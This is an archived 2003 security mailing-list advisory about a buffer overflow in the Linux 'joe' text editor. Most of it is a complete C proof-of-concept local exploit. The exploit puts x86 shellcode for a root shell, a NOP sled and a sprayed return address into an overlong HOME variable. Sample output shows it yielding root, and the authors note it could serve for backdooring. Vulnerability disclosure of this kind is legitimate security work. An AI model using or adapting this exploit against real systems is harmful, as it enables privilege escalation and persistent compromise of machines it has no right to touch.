[EXPL] Linux x86 "joe" Local Exploit
From: SecuriTeam (support_at_securiteam.com)
Date: 08/13/03
- Previous message: SecuriTeam: "[EXPL] Dialog Local Exploit (HOME)"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: list@securiteam.com Date: 13 Aug 2003 12:18:12 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
Get Thawte's New Step-by-Step SSL Guide for MSIIS
In this guide you will find out how to test, purchase, install
and use a Thawte Digital Certificate on your MSIIS web server.
Throughout, best practices for set-up are highlighted to help you
ensure efficient ongoing management of your encryption keys and digital
certificates. Get your copy of this new guide now:
http://ad.doubleclick.net/clk;5903126;8265119;j
- - - - - - - - -
Linux x86 "joe" Local Exploit
------------------------------------------------------------------------
SUMMARY
There exists a buffer overflow vulnerability in the popular UNIX/Linux
terminal text editor "joe". As far as it is known version 2.9.7 is
affected by the vulnerability. The following is a proof of concept local
exploit tested on Slackware [kernel 2.4.20] only.
DETAILS
Exploit:
/*
Linux x86 "joe" local exploit
author: dodo <dodo@darkwired.org>
author: tsunami <tsunami@darkwired.org>
tested on: Slackware Linux (2.4.20), `joe` 'version 2.9.7'
date: 30-07-2003 updated: 01-08-03
notes:
could be used for backdooring purposes..
greets to everyone @ #darkwired
root@comprak:/dodo/edu/joe# chmod a+s /usr/bin/joe
dodo@comprak:/dodo/edu/joe$ ./dw-bof-joe -2000
sh-2.05b# id
uid=0(root) gid=10(wheel) groups=10(wheel)
usage:
./dw-bof-joe [offset]
Slackware Linux offset: -2000
contact:
http://www.darkwired.org/
ssl-irc: irc.darkwired.org #darkwired
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define BSIZE 1016
static char shellcode[]=
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\xeb\x17\x5e\x89\x76\x08\x31\xc0"
"\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x31\xd2\xcd"
"\x80\xe8\xe4\xff\xff\xff\x2f\x62"
"\x69\x6e\x2f\x73\x68\x58";
unsigned long get_sp(void)
{
__asm__("movl %esp, %eax");
}
int main(int argc, char *argv[])
{
char buffer[BSIZE+32];
unsigned long sp = get_sp(), i;
signed long offset = -2000;
if(argc>1) offset = atoi(argv[1]);
sp = sp - offset;
memset(buffer, 0x90, sizeof(buffer)); //glijbaan
memcpy(buffer+(BSIZE-strlen(shellcode)), (char *)&shellcode,
strlen(shellcode));
//memcpy(buffer+BSIZE+12, &sp, sizeof(sp));
for(i=BSIZE;i<BSIZE+32;i+=4)
{
*(long *)&buffer[i] = sp;
}
memset(buffer+BSIZE+32, 0x0, 1);
if(setenv("HOME", buffer, 1)==-1) return -1;
system("joe");
return 1;
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:dodo@darkwired.org> dodo and
<mailto:tsunami@darkwired.org> tsunami.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: SecuriTeam: "[EXPL] Dialog Local Exploit (HOME)"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|